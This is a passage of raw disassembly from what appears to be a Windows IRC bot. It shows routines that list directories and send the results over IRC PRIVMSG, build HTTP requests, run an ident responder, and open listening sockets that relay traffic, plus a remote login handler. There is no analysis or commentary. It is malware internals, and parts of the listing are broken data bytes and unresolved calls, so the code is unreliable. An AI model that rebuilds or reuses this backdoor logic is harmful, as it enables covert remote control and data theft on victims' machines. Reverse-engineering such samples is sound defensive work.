aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; --------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 25C0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 27403E3h test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2740000h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 273086Bh nop mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_4293C4 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h call near ptr 26604A7h nop loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 27403E3h nop test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] nop call near ptr 2730000h cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 26F0930h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx nop call near ptr 2720B20h cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] loc_41004D: ; DATA XREF: ___:00437A30o ; ___:00437A44o jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call near ptr 2750000h nop lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call near ptr 26F0000h nop push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CAF08 cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx call near ptr 2640897h nop loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CAEE4 push 6 push 1 push 2 call dword_4CAFF4 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CAF74 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset dword_43D128 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CAFC4 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CAF8C pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; --------------------------------------------------------------------------- loc_4101FC: ; DATA XREF: ___:00401666o ; sub_401ACD+4369o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CAF74 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43DEBC[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp-0Ch], edi mov edi, 200h loc_410287: ; CODE XREF: ___:004102E6j ; ___:00410349j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035B movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB000 push eax lea eax, [ebp-238h] push offset dword_433F94 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp-238h] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz loc_410287 mov dword ptr [ebp-8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: ___:0041029Cj cmp [ebp-8], esi jnz short loc_410387 loc_410360: ; CODE XREF: ___:00410243j ; ___:00410267j ... call dword_4CAF08 push eax lea eax, [ebp-238h] push offset dword_433F50 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: ___:0041035Ej push ebx call dword_4CB00C push dword ptr [ebp-4] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push esi nop call near ptr 26C0000h pop edi pop esi pop ebx loc_4103AA: ; DATA XREF: sub_401ACD+613Bo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CAF74 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410516 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43DEBC[ecx], eax call dword_4CAE84 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CAFA0 test eax, eax jnz loc_410516 push 0Ah push dword ptr [ebp+8] call dword_4CAF9C test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: ___:00410470j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB008 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB000 push eax lea eax, [ebp-350h] push offset unk_433FFC push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F6 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43DEB4[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053B push esi push esi nop ; --------------------------------------------------------------------------- dw 43E8h dd 8B022500h, 0C969C44Dh, 234h, 8189C63Bh, 43DEC4h, 75391374h dd 63850FD0h, 6AFFFFFFh, 0A8E89032h, 0EB0224FFh, 0C8E890EDh dd 50022508h, 433FC068h, 4D0EE800h, 59590000h ; --------------------------------------------------------------------------- jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: ___:0041040Dj ; ___:00410441j ... mov edi, [ebp+8] loc_410519: ; CODE XREF: ___:00410514j push edi call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-40h] call sub_40B412 pop ecx push esi call near ptr 26C0000h nop pop edi pop esi loc_41053B: ; DATA XREF: ___:004104CEo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CAFF4 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F1 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CAF74 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CB lea eax, [ebp-13Ch] push eax call dword_4CAFF8 jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: ___:004105BAj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CAF2C loc_4105D9: ; CODE XREF: ___:004105C9j cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB000 push eax lea eax, [ebp-344h] push offset unk_434084 push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43DEBC[ebx] mov dword_43DEB4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43DEC0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410722 push edi push edi call near ptr 266051Eh nop mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: ___:00410698j cmp [ebp-20h], edi jnz short loc_41069A push 32h nop call near ptr 26604A7h jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: ___:0041068Ej mov ebx, 1000h loc_41069F: ; CODE XREF: ___:004106DAj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CAF8C cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: ___:00410689j nop call near ptr 2660DCFh push eax push offset unk_434044 call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: ___:0041057Fj ; ___:004105DBj ... mov eax, [ebp-4] imul eax, 234h push dword_43DEBC[eax] call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-4] call sub_40B412 pop ecx push edi call near ptr 26C0000h nop pop edi pop esi pop ebx loc_410722: ; DATA XREF: ___:0041066Bo push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: ___:0041079Ej push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43DEC0[esi] call dword_4CAF8C test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43DEBC[esi] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: ___:00410783j push dword_43DEC0[esi] call dword_4CB00C push dword ptr [ebp-14h] call sub_40B412 pop ecx push 0 nop ; --------------------------------------------------------------------------- dd 2AF843E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43DEBC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CAF5C test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26C0000h loc_410843: ; CODE XREF: ___:00410829j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CAF8C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CAEC8 test eax, eax jz short loc_4108BC call dword_4CAF08 push eax push offset unk_43415C call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push edi call near ptr 26C0000h nop loc_4108BC: ; CODE XREF: ___:00410897j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CAF2C cmp eax, edi jnz short loc_4108E6 push dword ptr [ebp-18h] call dword_4CB000 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: ___:004108CCj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: ___:004108E4j pop ecx pop ecx push edi push ebx push offset dword_43D128 push dword ptr [esi] call dword_4CAFC4 cmp dword_4CDCD8, edi jnz short loc_410956 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CAFC4 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26C0000h loc_410956: ; CODE XREF: ___:0041090Bj ; ___:0041092Cj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434120 call sub_415220 push dword ptr [ebp+8] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D call near ptr 2660DCFh nop push eax push offset unk_4340F4 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push ebx nop call near ptr 26C0000h loc_41099D: ; CODE XREF: ___:00410978j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4340C8 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 10h push edi nop call near ptr 26C0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: ___:00410859p ; ___:00410866p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_434188 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: ___:00410922p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset dword_4341B4 call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; --------------------------------------------------------------------------- byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h dd 